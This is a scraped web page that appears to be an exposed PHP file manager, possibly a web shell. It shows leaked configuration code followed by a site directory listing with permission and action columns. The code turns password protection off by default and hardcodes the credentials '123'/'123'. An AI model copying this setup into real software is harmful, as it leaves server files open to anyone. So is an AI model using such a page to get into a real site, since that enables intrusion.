# Konfigurasyon $sayfaSifreleme ='0'; # 1 acik , 0 kapali $kullaniciAdi = '123'; $sifre = '123'; # yetki kontrol fonksiyonu function yetkiKontrol($kullaniciAdi,$sifre) { if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") { header('WWW-Authenticate: Basic realm="x"'); die(header('HTTP/1.0 401 Unauthorized')); } } # Sayfa Sifreleme aciksa if($sayfaSifreleme =='1') { # Veri ve sifre kontrolu yetkiKontrol($kullaniciAdi,$sifre); } ?>
Name | Size | Modified | Perms | Actions | |
---|---|---|---|---|---|
admin | --- | November 07 2024 11:40:46. | 0755 | ||
errors | --- | November 07 2024 11:40:46. | 0755 | ||
font | --- | November 07 2024 11:40:46. | 0755 | ||
global | --- | November 07 2024 11:40:46. | 0755 | ||
images | --- | November 28 2024 09:52:34. | 0755 | ||
templates | --- | November 07 2024 11:40:46. | 0755 |